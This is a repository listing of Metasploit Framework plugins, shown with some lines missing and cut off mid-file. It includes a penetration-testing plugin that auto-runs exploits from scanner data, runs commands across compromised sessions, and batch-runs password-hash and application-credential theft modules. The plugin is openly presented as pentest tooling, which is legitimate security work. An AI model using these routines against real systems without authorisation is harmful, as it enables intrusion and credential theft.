├── README.md ├── growl.rb ├── pentest.rb └── twitt.rb /README.md: -------------------------------------------------------------------------------- 1 | # Metasploit-Plugins 2 | Plugins for Metasploit Framework. Currently only the Pentest plugin is being maintained do to changes in Metasploit Framework that limit what gems can be loaded when the framework starts. 3 | 4 | ## Installation 5 | 6 | Copy the plugin you wish to use in to your .msf4/plugin folder in your home folder for your current user. To test that the plugin was properly install you can use the **load** command to load the plugin. 7 |
 8 | 
 9 | msf > load pentest
10 | 
11 |        ___         _          _     ___ _           _
12 |       | _ \___ _ _| |_ ___ __| |_  | _ \ |_  _ __ _(_)_ _
13 |       |  _/ -_) ' \  _/ -_|_-<  _| |  _/ | || / _` | | ' \ 
14 |       |_| \___|_||_\__\___/__/\__| |_| |_|\_,_\__, |_|_||_|
15 |                                               |___/
16 |       
17 | Version 1.4
18 | Pentest plugin loaded.
19 | by Carlos Perez (carlos_perez[at]darkoperator.com)
20 | [*] Successfully loaded plugin: pentest
21 | msf > 
22 | 
23 | 
24 | 25 | ## Pentest Plugin 26 | Once the pentest plugin is loaded we can take a look at the commands added in the Console menu using the help command. This module was written so as to aid in common taks in a pentest hence the name and to aid in the logging and collection of information so as to keep a log of actions and aid in the report writing phase of a pentest. 27 | 28 | ## Auto Exploitation 29 | 30 | These commands are used for aiding in auto exploitation of host based on information imported from a vulnerability scanner: 31 | 32 |
33 | auto_exploit Commands
34 | =====================
35 | 
36 |     Command           Description
37 |     -------           -----------
38 |     show_client_side  Show matched client side exploits from data imported from vuln scanners.
39 |     vuln_exploit      Runs exploits based on data imported from vuln scanners.
40 | 
41 | 
42 | 43 | ### Discovery Commands 44 | This commands are used for the initial enumeration and additional information gathering from detected services. 45 | 46 |
47 | Discovery Commands
48 | ==================
49 | 
50 |     Command                 Description
51 |     -------                 -----------
52 |     discover_db             Run discovery modules against current hosts in the database.
53 |     network_discover        Performs a port-scan and enumeration of services found for non pivot networks.
54 |     pivot_network_discover  Performs enumeration of networks available to a specified Meterpreter session.
55 |     show_session_networks   Enumerate the networks one could pivot thru Meterpreter in the active sessions.
56 | 
57 | 
58 | ## Project Command 59 | Allows the creation of projects using workspaces and the export of all data so it can be imported in to another scanner or archived. All actions are logged and timestamps for later uses in pentest reporting. All commands have help text and parameters that can be viewed using the **-h** switch. 60 |
61 | Project Commands
62 | ================
63 | 
64 |     Command       Description
65 |     -------       -----------
66 |     project       Command for managing projects.
67 | 
68 | 69 | ## Post Exploitation Automation Commands 70 | These command aid in the post exploitation tasks across multiple sessions and the automation of actions. 71 | 72 |
73 | Postauto Commands
74 | =================
75 | 
76 |     Command             Description
77 |     -------             -----------
78 |     app_creds           Run application password collection modules against specified sessions.
79 |     multi_cmd           Run shell command against several sessions
80 |     multi_meter_cmd     Run a Meterpreter Console Command against specified sessions.
81 |     multi_meter_cmd_rc  Run resource file with Meterpreter Console Commands against specified sessions.
82 |     multi_post          Run a post module against specified sessions.
83 |     multi_post_rc       Run resource file with post modules and options against specified sessions.
84 |     sys_creds           Run system password collection modules against specified sessions.
85 | 
86 | -------------------------------------------------------------------------------- /growl.rb: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2011, Carlos Perez "Displays help", 111 | 'growl_start' => "Start Growl Plugin after saving settings.", 112 | 'growl_save' => "Save Settings to YAML File #{Growl_yaml}.", 113 | 'growl_set_host' => "Sets host to send message to.", 114 | 'growl_set_password' => "Sets password to use.", 115 | 'growl_set_source' => "Sets the source name shown in the messages.", 116 | 'growl_set_sticky' => "Sets true or false if the message will be sticky.", 117 | 'growl_show_parms' => "Shows currently set parameters." 118 | 119 | } 120 | end 121 | 122 | # Help Command 123 | def cmd_growl_help 124 | puts "Help" 125 | end 126 | 127 | # Re-Read YAML file and set Growl Configuration 128 | def cmd_growl_start 129 | print_status "Starting to monitor sessions to Growl on" 130 | if read_settings() 131 | self.framework.events.add_session_subscriber(self) 132 | @g = Growl.new(@host,@source,["Session Notification"],nil,@password) 133 | print_good("Growl Plugin Started, Monitoring Sessions") 134 | else 135 | print_error("Could not set Growl settings.") 136 | end 137 | end 138 | 139 | # Save Parameters to text file 140 | def cmd_growl_save 141 | print_status("Saving paramters to config file") 142 | if @host and @password and @sticky and @source 143 | config = {'host' => @host, 'password' => @password, 144 | 'sticky' => @sticky, 'source' => @source 145 | } 146 | File.open(Growl_yaml, 'w') do |out| 147 | YAML.dump(config, out) 148 | end 149 | print_good("All parameters saved to #{Growl_yaml}") 150 | else 151 | print_error("You have not provided all the parameters!") 152 | end 153 | end 154 | 155 | # Set Host to send message to 156 | def cmd_growl_set_host(*args) 157 | if args.length > 0 158 | print_status("Setting the host to #{args[0]}") 159 | @host = args[0] 160 | else 161 | print_error("Please provide a value") 162 | end 163 | end 164 | 165 | # Set Growl Password 166 | def cmd_growl_set_password(*args) 167 | if args.length > 0 168 | print_status("Setting the password to #{args[0]}") 169 | @password = args[0] 170 | else 171 | print_error("Please provide a value") 172 | end 173 | end 174 | 175 | # Set if message will be sticky or not 176 | def cmd_growl_set_sticky(*args) 177 | if args.length > 0 178 | print_status("Setting sticky to #{args[0]}") 179 | case args[0].downcase 180 | when "true" 181 | @sticky = true 182 | when "false" 183 | @sticky = false 184 | else 185 | print_error("Please Specify true or false") 186 | end 187 | else 188 | print_error("Please provide a value") 189 | end 190 | end 191 | 192 | 193 | # Show parameters that will be used 194 | def cmd_growl_show_parms 195 | print_status("Parameters:") 196 | print_good("host #{@host}") 197 | print_good("password #{@password}") 198 | print_good("sticky #{@sticky}") 199 | print_good("source #{@source}") 200 | end 201 | 202 | # Set the source name that will be shown in the messages 203 | def cmd_growl_set_source(*args) 204 | if args.length > 0 205 | print_status("Setting the source to #{args[0]}") 206 | @source = args[0] 207 | else 208 | print_error("Please provide a value") 209 | end 210 | end 211 | 212 | end 213 | 214 | end 215 | end 216 | 217 | -------------------------------------------------------------------------------- /pentest.rb: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2017, Carlos Perez "Run a post module against specified sessions.", 39 | 'multi_post_rc' => "Run resource file with post modules and options against specified sessions.", 40 | 'multi_meter_cmd' => "Run a Meterpreter Console Command against specified sessions.", 41 | 'multi_meter_cmd_rc'=> "Run resource file with Meterpreter Console Commands against specified sessions.", 42 | "multi_cmd" => "Run shell command against several sessions", 43 | "sys_creds" => "Run system password collection modules against specified sessions.", 44 | "app_creds" => "Run application password collection modules against specified sessions.", 45 | "get_lhost" => "List local IP addresses that can be used for LHOST." 46 | } 47 | end 48 | 49 | 50 | def cmd_get_lhost(*args) 51 | 52 | opts = Rex::Parser::Arguments.new( 53 | "-h" => [ false, "Command help."] 54 | ) 55 | opts.parse(args) do |opt, idx, val| 56 | case opt 57 | when "-h" 58 | print_line("Command for listing local IP Addresses that can be used with LHOST.") 59 | print_line(opts.usage) 60 | return 61 | else 62 | print_line(opts.usage) 63 | return 64 | end 65 | end 66 | 67 | print_status("Local host IP addresses:") 68 | Socket.ip_address_list.each do |a| 69 | if !(a.ipv4_loopback?()|a.ipv6_linklocal?()|a.ipv6_loopback?()) 70 | print_good("\t#{a.ip_address}") 71 | end 72 | end 73 | print_line 74 | end 75 | # Multi shell command 76 | def cmd_multi_cmd(*args) 77 | # Define options 78 | opts = Rex::Parser::Arguments.new( 79 | "-s" => [ true, "Comma separated list sessions to run modules against."], 80 | "-c" => [ true, "Shell command to run."], 81 | "-p" => [ true, "Platform to run the command against. If none given it will run against all."], 82 | "-h" => [ false, "Command Help."] 83 | ) 84 | 85 | # set variables for options 86 | sessions = [] 87 | command = "" 88 | plat = "" 89 | 90 | # Parse options 91 | opts.parse(args) do |opt, idx, val| 92 | case opt 93 | when "-s" 94 | if val =~ /all/i 95 | sessions = framework.sessions.keys 96 | else 97 | sessions = val.split(",") 98 | end 99 | when "-c" 100 | command = val 101 | when "-p" 102 | plat = val 103 | when "-h" 104 | print_line(opts.usage) 105 | return 106 | else 107 | print_line(opts.usage) 108 | return 109 | end 110 | end 111 | 112 | # Make sure that proper values where provided 113 | if not sessions.empty? and not command.empty? 114 | # Iterate thru the session IDs 115 | sessions.each do |s| 116 | # Set the session object 117 | session = framework.sessions[s.to_i] 118 | if session.platform =~ /#{plat}/i || plat.empty? 119 | host = session.tunnel_peer.split(":")[0] 120 | print_line("Running #{command} against session #{s}") 121 | # Run the command 122 | cmd_out = session.shell_command_token(command) 123 | # Print good each line of the command output 124 | if not cmd_out.nil? 125 | cmd_out.each_line do |l| 126 | print_line(l.chomp) 127 | end 128 | file_name = "#{File.join(Msf::Config.loot_directory,"#{Time.now.strftime("%Y%m%d%H%M%S")}_command.txt")}" 129 | framework.db.report_loot({ :host=> host, 130 | :path => file_name, 131 | :ctype => "text/plain", 132 | :ltype => "host.command.shell", 133 | :data => cmd_out, 134 | :name => "#{host}.txt", 135 | :info => "Output of command #{command}" }) 136 | else 137 | print_error("No output or error when running the command.") 138 | end 139 | end 140 | end 141 | else 142 | print_error("You must specify both a session and a command.") 143 | print_line(opts.usage) 144 | return 145 | end 146 | end 147 | 148 | # browser_creds Command 149 | #------------------------------------------------------------------------------------------- 150 | def cmd_app_creds(*args) 151 | opts = Rex::Parser::Arguments.new( 152 | "-s" => [ true, "Sessions to run modules against. Example or <1,2,3,4>"], 153 | "-h" => [ false, "Command Help"] 154 | ) 155 | cred_mods = [ 156 | {"mod" => "windows/gather/credentials/wsftp_client", "opt" => nil}, 157 | {"mod" => "windows/gather/credentials/winscp", "opt" => nil}, 158 | {"mod" => "windows/gather/credentials/windows_autologin", "opt" => nil}, 159 | {"mod" => "windows/gather/credentials/vnc", "opt" => nil}, 160 | {"mod" => "windows/gather/credentials/trillian", "opt" => nil}, 161 | {"mod" => "windows/gather/credentials/total_commander", "opt" => nil}, 162 | {"mod" => "windows/gather/credentials/smartftp", "opt" => nil}, 163 | {"mod" => "windows/gather/credentials/outlook", "opt" => nil}, 164 | {"mod" => "windows/gather/credentials/nimbuzz", "opt" => nil}, 165 | {"mod" => "windows/gather/credentials/mremote", "opt" => nil}, 166 | {"mod" => "windows/gather/credentials/imail", "opt" => nil}, 167 | {"mod" => "windows/gather/credentials/idm", "opt" => nil}, 168 | {"mod" => "windows/gather/credentials/flashfxp", "opt" => nil}, 169 | {"mod" => "windows/gather/credentials/filezilla_server", "opt" => nil}, 170 | {"mod" => "windows/gather/credentials/meebo", "opt" => nil}, 171 | {"mod" => "windows/gather/credentials/razorsql", "opt" => nil}, 172 | {"mod" => "windows/gather/credentials/coreftp", "opt" => nil}, 173 | {"mod" => "windows/gather/credentials/imvu", "opt" => nil}, 174 | {"mod" => "windows/gather/credentials/epo_sql", "opt" => nil}, 175 | {"mod" => "windows/gather/credentials/gpp", "opt" => nil}, 176 | {"mod" => "windows/gather/credentials/enum_picasa_pwds", "opt" => nil}, 177 | {"mod" => "windows/gather/credentials/tortoisesvn", "opt" => nil}, 178 | {"mod" => "windows/gather/credentials/ftpnavigator", "opt" => nil}, 179 | {"mod" => "windows/gather/credentials/dyndns", "opt" => nil}, 180 | {"mod" => "windows/gather/credentials/bulletproof_ftp", "opt" => nil}, 181 | {"mod" => "windows/gather/credentials/enum_cred_store", "opt" => nil}, 182 | {"mod" => "windows/gather/credentials/ftpx", "opt" => nil}, 183 | {"mod" => "windows/gather/credentials/razer_synapse", "opt" => nil}, 184 | {"mod" => "windows/gather/credentials/sso", "opt" => nil}, 185 | {"mod" => "windows/gather/credentials/steam", "opt" => nil}, 186 | {"mod" => "windows/gather/enum_ie", "opt" => nil}, 187 | {"mod" => "multi/gather/ssh_creds", "opt" => nil}, 188 | {"mod" => "multi/gather/pidgin_cred", "opt" => nil}, 189 | {"mod" => "multi/gather/firefox_creds", "opt" => nil}, 190 | {"mod" => "multi/gather/filezilla_client_cred", "opt" => nil}, 191 | {"mod" => "multi/gather/fetchmailrc_creds", "opt" => nil}, 192 | {"mod" => "multi/gather/thunderbird_creds", "opt" => nil}, 193 | {"mod" => "multi/gather/netrc_creds", "opt" => nil}, 194 | {"mod" => "/multi/gather/gpg_creds", "opt" => nil} 195 | ] 196 | 197 | # Parse options 198 | if args.length == 0 199 | print_line(opts.usage) 200 | return 201 | end 202 | sessions = "" 203 | 204 | opts.parse(args) do |opt, idx, val| 205 | case opt 206 | when "-s" 207 | sessions = val 208 | when "-h" 209 | print_line(opts.usage) 210 | return 211 | else 212 | print_line(opts.usage) 213 | return 214 | end 215 | end 216 | if not sessions.empty? 217 | cred_mods.each do |p| 218 | m = framework.post.create(p["mod"]) 219 | next if m == nil 220 | 221 | # Set Sessions to be processed 222 | if sessions =~ /all/i 223 | session_list = m.compatible_sessions 224 | else 225 | session_list = sessions.split(",") 226 | end 227 | session_list.each do |s| 228 | begin 229 | if m.session_compatible?(s.to_i) 230 | m.datastore['SESSION'] = s.to_i 231 | if p['opt'] 232 | opt_pair = p['opt'].split("=",2) 233 | m.datastore[opt_pair[0]] = opt_pair[1] 234 | end 235 | m.options.validate(m.datastore) 236 | print_line("") 237 | print_line("Running #{p['mod']} against #{s}") 238 | m.run_simple( 239 | 'LocalInput' => driver.input, 240 | 'LocalOutput' => driver.output 241 | ) 242 | end 243 | rescue 244 | print_error("Could not run post module against sessions #{s}.") 245 | end 246 | end 247 | end 248 | else 249 | print_line(opts.usage) 250 | return 251 | end 252 | end 253 | 254 | # sys_creds Command 255 | #------------------------------------------------------------------------------------------- 256 | def cmd_sys_creds(*args) 257 | opts = Rex::Parser::Arguments.new( 258 | "-s" => [ true, "Sessions to run modules against. Example or <1,2,3,4>"], 259 | "-h" => [ false, "Command Help"] 260 | ) 261 | cred_mods = [ 262 | {"mod" => "windows/gather/cachedump", "opt" => nil}, 263 | {"mod" => "windows/gather/smart_hashdump", "opt" => "GETSYSTEM=true"}, 264 | {"mod" => "windows/gather/credentials/gpp", "opt" => nil}, 265 | {"mod" => "osx/gather/hashdump", "opt" => nil}, 266 | {"mod" => "linux/gather/hashdump", "opt" => nil}, 267 | {"mod" => "solaris/gather/hashdump", "opt" => nil}, 268 | ] 269 | 270 | # Parse options 271 | 272 | sessions = "" 273 | opts.parse(args) do |opt, idx, val| 274 | case opt 275 | when "-s" 276 | sessions = val 277 | when "-h" 278 | print_line(opts.usage) 279 | return 280 | else 281 | print_line(opts.usage) 282 | return 283 | end 284 | end 285 | if not sessions.empty? 286 | cred_mods.each do |p| 287 | m = framework.post.create(p["mod"]) 288 | # Set Sessions to be processed 289 | if sessions =~ /all/i 290 | session_list = m.compatible_sessions 291 | else 292 | session_list = sessions.split(",") 293 | end 294 | session_list.each do |s| 295 | if m.session_compatible?(s.to_i) 296 | m.datastore['SESSION'] = s.to_i 297 | if p['opt'] 298 | opt_pair = p['opt'].split("=",2) 299 | m.datastore[opt_pair[0]] = opt_pair[1] 300 | end 301 | m.options.validate(m.datastore) 302 | print_line("") 303 | print_line("Running #{p['mod']} against #{s}") 304 | m.run_simple( 305 | 'LocalInput' => driver.input, 306 | 'LocalOutput' => driver.output 307 | ) 308 | end 309 | end 310 | end 311 | else 312 | print_line(opts.usage) 313 | return 314 | end 315 | end 316 | 317 | # Multi_post Command 318 | #------------------------------------------------------------------------------------------- 319 | 320 | # Function for doing auto complete on module name 321 | def tab_complete_module(str, words) 322 | res = [] 323 | framework.modules.module_types.each do |mtyp| 324 | mset = framework.modules.module_names(mtyp) 325 | mset.each do |mref| 326 | res << mtyp + '/' + mref 327 | end 328 | end 329 | 330 | return res.sort 331 | end 332 | 333 | # Function to do tab complete on modules for multi_post 334 | def cmd_multi_post_tabs(str, words) 335 | tab_complete_module(str, words) 336 | end 337 | 338 | # Function for the multi_post command 339 | def cmd_multi_post(*args) 340 | opts = Rex::Parser::Arguments.new( 341 | "-s" => [ true, "Sessions to run module against. Example or <1,2,3,4>"], 342 | "-m" => [ true, "Module to run against sessions."], 343 | "-o" => [ true, "Module options."], 344 | "-h" => [ false, "Command Help."] 345 | ) 346 | post_mod = "" 347 | mod_opts = nil 348 | sessions = "" 349 | 350 | # Parse options 351 | opts.parse(args) do |opt, idx, val| 352 | case opt 353 | when "-s" 354 | sessions = val 355 | when "-m" 356 | post_mod = val.gsub(/^post\//,"") 357 | when "-o" 358 | mod_opts = val 359 | when "-h" 360 | print_line opts.usage 361 | return 362 | else 363 | print_status "Please specify a module to run with the -m option." 364 | return 365 | end 366 | end 367 | # Make sure that proper values where provided 368 | if not sessions.empty? and not post_mod.empty? 369 | # Set and execute post module with options 370 | print_line("Loading #{post_mod}") 371 | m = framework.post.create(post_mod) 372 | if sessions =~ /all/i 373 | session_list = m.compatible_sessions 374 | else 375 | session_list = sessions.split(",") 376 | end 377 | if session_list 378 | session_list.each do |s| 379 | if m.session_compatible?(s.to_i) 380 | print_line("Running against #{s}") 381 | m.datastore['SESSION'] = s.to_i 382 | if mod_opts 383 | mod_opts.each do |o| 384 | opt_pair = o.split("=",2) 385 | print_line("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}") 386 | m.datastore[opt_pair[0]] = opt_pair[1] 387 | end 388 | end 389 | m.options.validate(m.datastore) 390 | m.run_simple( 391 | 'LocalInput' => driver.input, 392 | 'LocalOutput' => driver.output 393 | ) 394 | else 395 | print_error("Session #{s} is not compatible with #{post_mod}.") 396 | end 397 | end 398 | else 399 | print_error("No compatible sessions were found.") 400 | end 401 | else 402 | print_error("A session or Post Module where not specified.") 403 | print_line(opts.usage) 404 | return 405 | end 406 | end 407 | 408 | # Multi_post_rc Command 409 | #------------------------------------------------------------------------------------------- 410 | def cmd_multi_post_rc_tabs(str, words) 411 | tab_complete_filenames(str, words) 412 | end 413 | 414 | def cmd_multi_post_rc(*args) 415 | opts = Rex::Parser::Arguments.new( 416 | "-rc" => [ true, "Resource file with space separate values , per line."], 417 | "-h" => [ false, "Command Help."] 418 | ) 419 | post_mod = nil 420 | session_list = nil 421 | mod_opts = nil 422 | entries = [] 423 | opts.parse(args) do |opt, idx, val| 424 | case opt 425 | when "-rc" 426 | script = val 427 | if not ::File.exists?(script) 428 | print_error "Resource File does not exists!" 429 | return 430 | else 431 | ::File.open(script, "r").each_line do |line| 432 | # Empty line 433 | next if line.strip.length < 1 434 | # Comment 435 | next if line[0,1] == "#" 436 | entries << line.chomp 437 | end 438 | end 439 | when "-h" 440 | print_line opts.usage 441 | return 442 | else 443 | print_line opts.usage 444 | return 445 | end 446 | end 447 | if entries 448 | entries.each do |l| 449 | values = l.split 450 | sessions = values[0] 451 | post_mod = values[1] 452 | if values.length == 3 453 | mod_opts = values[2].split(",") 454 | end 455 | print_line("Loading #{post_mod}") 456 | m= framework.post.create(post_mod.gsub(/^post\//,"")) 457 | if sessions =~ /all/i 458 | session_list = m.compatible_sessions 459 | else 460 | session_list = sessions.split(",") 461 | end 462 | session_list.each do |s| 463 | if m.session_compatible?(s.to_i) 464 | print_line("Running Against #{s}") 465 | m.datastore['SESSION'] = s.to_i 466 | if mod_opts 467 | mod_opts.each do |o| 468 | opt_pair = o.split("=",2) 469 | print_line("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}") 470 | m.datastore[opt_pair[0]] = opt_pair[1] 471 | end 472 | end 473 | m.options.validate(m.datastore) 474 | m.run_simple( 475 | 'LocalInput' => driver.input, 476 | 'LocalOutput' => driver.output 477 | ) 478 | else 479 | print_error("Session #{s} is not compatible with #{post_mod}") 480 | end 481 | end 482 | end 483 | else 484 | print_error("Resource file was empty!") 485 | end 486 | end 487 | 488 | # Multi_meter_cmd Command 489 | #------------------------------------------------------------------------------------------- 490 | def cmd_multi_meter_cmd(*args) 491 | opts = Rex::Parser::Arguments.new( 492 | "-s" => [ true, "Sessions to run Meterpreter Console Command against. Example or <1,2,3,4>"], 493 | "-c" => [ true, "Meterpreter Console Command to run against sessions."], 494 | "-h" => [ false, "Command Help."] 495 | ) 496 | command = nil 497 | session = nil 498 | 499 | # Parse options 500 | opts.parse(args) do |opt, idx, val| 501 | case opt 502 | when "-s" 503 | session = val 504 | when "-c" 505 | command = val 506 | when "-h" 507 | print_line opts.usage 508 | return 509 | else 510 | print_status "Please specify a command to run with the -m option." 511 | return 512 | end 513 | end 514 | current_sessions = framework.sessions.keys.sort 515 | if session =~/all/i 516 | sessions = current_sessions 517 | else 518 | sessions = session.split(",") 519 | end 520 | sessions.each do |s| 521 | # Check if session is in the current session list. 522 | next if not current_sessions.include?(s.to_i) 523 | # Get session object 524 | session = framework.sessions.get(s.to_i) 525 | # Check if session is meterpreter and run command. 526 | if (session.type == "meterpreter") 527 | print_line("Running command #{command} against session #{s}") 528 | session.console.run_single(command) 529 | else 530 | print_line("Session #{s} is not a Meterpreter session!") 531 | end 532 | end 533 | end 534 | 535 | # Multi_post_rc Command 536 | #------------------------------------------------------------------------------------------- 537 | def cmd_multi_meter_cmd_rc(*args) 538 | opts = Rex::Parser::Arguments.new( 539 | "-rc" => [ true, "Resource file with space separate values , per line."], 540 | "-h" => [ false, "Command Help"] 541 | ) 542 | entries = [] 543 | script = nil 544 | opts.parse(args) do |opt, idx, val| 545 | case opt 546 | when "-rc" 547 | script = val 548 | if not ::File.exists?(script) 549 | print_error "Resource File does not exists" 550 | return 551 | else 552 | ::File.open(script, "r").each_line do |line| 553 | # Empty line 554 | next if line.strip.length < 1 555 | # Comment 556 | next if line[0,1] == "#" 557 | entries << line.chomp 558 | end 559 | end 560 | when "-h" 561 | print_line opts.usage 562 | return 563 | else 564 | print_line opts.usage 565 | return 566 | end 567 | end 568 | entries.each do |entrie| 569 | session_parm,command = entrie.split(" ", 2) 570 | current_sessions = framework.sessions.keys.sort 571 | if session_parm =~ /all/i 572 | sessions = current_sessions 573 | else 574 | sessions = session_parm.split(",") 575 | end 576 | sessions.each do |s| 577 | # Check if session is in the current session list. 578 | next if not current_sessions.include?(s.to_i) 579 | # Get session object 580 | session = framework.sessions.get(s.to_i) 581 | # Check if session is meterpreter and run command. 582 | if (session.type == "meterpreter") 583 | print_line("Running command #{command} against session #{s}") 584 | session.console.run_single(command) 585 | else 586 | print_line("Session #{s} is not a Meterpreter sessions.") 587 | end 588 | end 589 | end 590 | end 591 | end 592 | 593 | # Project handling commands 594 | ################################################################################################ 595 | class ProjectCommandDispatcher 596 | include Msf::Ui::Console::CommandDispatcher 597 | 598 | # Set name for command dispatcher 599 | def name 600 | "Project" 601 | end 602 | 603 | # Define Commands 604 | def commands 605 | { 606 | "project" => "Command for managing projects.", 607 | } 608 | end 609 | 610 | def cmd_project(*args) 611 | # variable 612 | project_name = "" 613 | create = false 614 | delete = false 615 | history = false 616 | switch = false 617 | archive = false 618 | arch_path = ::File.join(Msf::Config.log_directory,"archives") 619 | # Define options 620 | opts = Rex::Parser::Arguments.new( 621 | "-c" => [ false, "Create a new Metasploit project and sets logging for it."], 622 | "-d" => [ false, "Delete a project created by the plugin."], 623 | "-s" => [ false, "Switch to a project created by the plugin."], 624 | "-a" => [ false, "Export all history and DB and archive it in to a zip file for current project."], 625 | "-p" => [ true, "Path to save archive, if none provide default ~/.msf4/archives will be used."], 626 | "-r" => [ false, "Create time stamped RC files of Meterpreter Sessions and console history for current project."], 627 | "-ph" => [ false, "Generate resource files for sessions and console. Generate time stamped session logs for current project."], 628 | "-l" => [ false, "List projects created by plugin."], 629 | "-h" => [ false, "Command Help"] 630 | ) 631 | opts.parse(args) do |opt, idx, val| 632 | case opt 633 | when "-p" 634 | if ::File.directory?(val) 635 | arch_path = val 636 | else 637 | print_error("Path provided for archive does not exists!") 638 | return 639 | end 640 | when "-d" 641 | delete = true 642 | when "-s" 643 | switch = true 644 | when "-a" 645 | archive = true 646 | when "-c" 647 | create = true 648 | when "-r" 649 | make_console_rc 650 | make_sessions_rc 651 | when "-h" 652 | print_line(opts.usage) 653 | return 654 | when "-l" 655 | list 656 | return 657 | when "-ph" 658 | history = true 659 | else 660 | project_name = val.gsub(" ","_").chomp 661 | end 662 | end 663 | if project_name and create 664 | project_create(project_name) 665 | elsif project_name and delete 666 | project_delete(project_name) 667 | elsif project_name and switch 668 | project_switch(project_name) 669 | elsif archive 670 | project_archive(arch_path) 671 | elsif history 672 | project_history 673 | else 674 | list 675 | end 676 | end 677 | 678 | def project_delete(project_name) 679 | # Check if project exists 680 | if project_list.include?(project_name) 681 | current_workspace = framework.db.workspace.name 682 | if current_workspace == project_name 683 | driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new) 684 | end 685 | workspace = framework.db.find_workspace(project_name) 686 | if workspace.default? 687 | workspace.destroy 688 | workspace = framework.db.add_workspace(project_name) 689 | print_line("Deleted and recreated the default workspace") 690 | else 691 | # switch to the default workspace if we're about to delete the current one 692 | framework.db.workspace = framework.db.default_workspace if framework.db.workspace.name == workspace.name 693 | # now destroy the named workspace 694 | workspace.destroy 695 | print_line("Deleted workspace: #{project_name}") 696 | end 697 | project_path = ::File.join(Msf::Config.log_directory,"projects",project_name) 698 | ::FileUtils.rm_rf(project_path) 699 | print_line("Project folder #{project_path} has been deleted") 700 | else 701 | print_error("Project was not found on list of projects!") 702 | end 703 | return true 704 | end 705 | 706 | # Switch to another project created by the plugin 707 | def project_switch(project_name) 708 | # Check if project exists 709 | if project_list.include?(project_name) 710 | print_line("Switching to #{project_name}") 711 | # Disable spooling for current 712 | driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new) 713 | 714 | # Switch workspace 715 | workspace = framework.db.find_workspace(project_name) 716 | framework.db.workspace = workspace 717 | print_line("Workspace: #{workspace.name}") 718 | 719 | # Spool 720 | spool_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name) 721 | spool_file = ::File.join(spool_path,"#{project_name}_spool.log") 722 | 723 | # Start spooling for new workspace 724 | driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file)) 725 | print_line("Spooling to file #{spool_file}...") 726 | print_line("Successfully migrated to #{project_name}") 727 | 728 | else 729 | print_error("Project was not found on list of projects!") 730 | end 731 | return true 732 | end 733 | 734 | # List current projects created by the plugin 735 | def list 736 | current_workspace = framework.db.workspace.name 737 | print_line("List of projects:") 738 | project_list.each do |p| 739 | if current_workspace == p 740 | print_line("\t* #{p}") 741 | else 742 | print_line("\t#{p}") 743 | end 744 | end 745 | return true 746 | end 747 | 748 | # Archive project in to a zip file 749 | def project_archive(archive_path) 750 | # Set variables for options 751 | project_name = framework.db.workspace.name 752 | project_path = ::File.join(Msf::Config.log_directory,"projects",project_name) 753 | archive_name = "#{project_name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.zip" 754 | db_export_name = "#{project_name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.xml" 755 | db_out = ::File.join(project_path,db_export_name) 756 | format = "xml" 757 | print_line("Exporting DB Workspace #{project_name}") 758 | exporter = Msf::DBManager::Export.new(framework.db.workspace) 759 | exporter.send("to_#{format}_file".intern,db_out) do |mtype, mstatus, mname| 760 | if mtype == :status 761 | if mstatus == "start" 762 | print_line(" >> Starting export of #{mname}") 763 | end 764 | if mstatus == "complete" 765 | print_line(" >> Finished export of #{mname}") 766 | end 767 | end 768 | end 769 | print_line("Finished export of workspace #{framework.db.workspace.name} to #{db_out} [ #{format} ]...") 770 | print_line("Disabling spooling for #{project_name}") 771 | driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new) 772 | print_line("Spooling disabled for archiving") 773 | archive_full_path = ::File.join(archive_path,archive_name) 774 | make_console_rc 775 | make_sessions_rc 776 | make_sessions_logs 777 | compress(project_path,archive_full_path) 778 | print_line("MD5 for archive is #{digestmd5(archive_full_path)}") 779 | # Spool 780 | spool_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name) 781 | spool_file = ::File.join(spool_path,"#{project_name}_spool.log") 782 | print_line("Spooling re-enabled") 783 | # Start spooling for new workspace 784 | driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file)) 785 | print_line("Spooling to file #{spool_file}...") 786 | return true 787 | end 788 | 789 | # Export Command History for Sessions and Console 790 | #------------------------------------------------------------------------------------------- 791 | def project_history 792 | make_console_rc 793 | make_sessions_rc 794 | make_sessions_logs 795 | return true 796 | end 797 | 798 | # Create a new project Workspace and enable logging 799 | #------------------------------------------------------------------------------------------- 800 | def project_create(project_name) 801 | # Make sure that proper values where provided 802 | spool_path = ::File.join(Msf::Config.log_directory,"projects",project_name) 803 | ::FileUtils.mkdir_p(spool_path) 804 | spool_file = ::File.join(spool_path,"#{project_name}_spool.log") 805 | if framework.db and framework.db.active 806 | print_line("Creating DB Workspace named #{project_name}") 807 | workspace = framework.db.add_workspace(project_name) 808 | framework.db.workspace = workspace 809 | print_line("Added workspace: #{workspace.name}") 810 | driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file)) 811 | print_line("Spooling to file #{spool_file}...") 812 | else 813 | print_error("A database most be configured and connected to create a project") 814 | end 815 | 816 | return true 817 | end 818 | 819 | # Method for creating a console resource file from all commands entered in the console 820 | #------------------------------------------------------------------------------------------- 821 | def make_console_rc 822 | # Set RC file path and file name 823 | rc_file = "#{framework.db.workspace.name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.rc" 824 | consonle_rc_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name) 825 | rc_full_path = ::File.join(consonle_rc_path,rc_file) 826 | 827 | # Create folder 828 | ::FileUtils.mkdir_p(consonle_rc_path) 829 | con_rc = "" 830 | framework.db.workspace.events.each do |e| 831 | if not e.info.nil? and e.info.has_key?(:command) and not e.info.has_key?(:session_type) 832 | con_rc << "# command executed at #{e.created_at}\n" 833 | con_rc << "#{e.info[:command]}\n" 834 | end 835 | end 836 | 837 | # Write RC console file 838 | print_line("Writing Console RC file to #{rc_full_path}") 839 | file_write(rc_full_path, con_rc) 840 | print_line("RC file written") 841 | 842 | return rc_full_path 843 | end 844 | 845 | # Method for creating individual rc files per session using the session uuid 846 | 